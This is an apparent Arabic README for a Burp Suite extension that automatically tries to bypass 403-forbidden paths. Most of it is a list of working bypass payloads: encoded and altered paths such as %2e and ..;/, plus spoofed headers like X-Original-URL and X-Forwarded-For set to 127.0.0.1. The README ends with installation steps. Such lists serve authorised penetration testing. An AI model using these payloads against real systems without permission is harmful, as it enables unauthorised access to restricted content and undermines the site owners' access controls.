sting8k/burpsuite_403bypasserإضافة Burpsuite لتجاوز الدليل المحظور 403
إضافة لـ Burp Suite لتجاوز المسارات المقيدة برمز 403. باستخدام المسح السلبي (مفعل افتراضيًا)، سيتم تلقائيًا فحص كل طلب 403 بواسطة هذه الإضافة، لذا فقط أضفها إلى Burp Suite واستمتع.
الـ Payloads: $1: HOSTNAME $2: PATH
$1/$2
$1/%2e/$2
$1/$2/.
$1//$2//
$1/./$2/./
$1/$2anything -H "X-Original-URL: /$2"
$1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1"
$1 -H "X-Rewrite-URL: /$2"
$1/$2 -H "Referer: /$2"
$1/$2 -H "X-Originating-IP: 127.0.0.1"
$1/$2 -H "X-Forwarded-For: 127.0.0.1"
$1/$2 -H "X-Remote-IP: 127.0.0.1"
$1/$2 -H "X-Client-IP: 127.0.0.1"
$1/$2 -H "X-Host: 127.0.0.1"
$1/$2 -H "X-Forwarded-Host: 127.0.0.1"
$1/$2%20/
$1/%20$2%20/
$1/$2?
$1/$2???
$1/$2//
$1/$2/
$1/$2/.randomstring
$1/$2..;/
شكرًا @lohubi للمساهمة بالعديد من الـ Payloads.
BurpSuite -> Extender -> Extensions -> Add -> Extension Type: Python -> Select file: 403bypasser.py -> Next till Finish
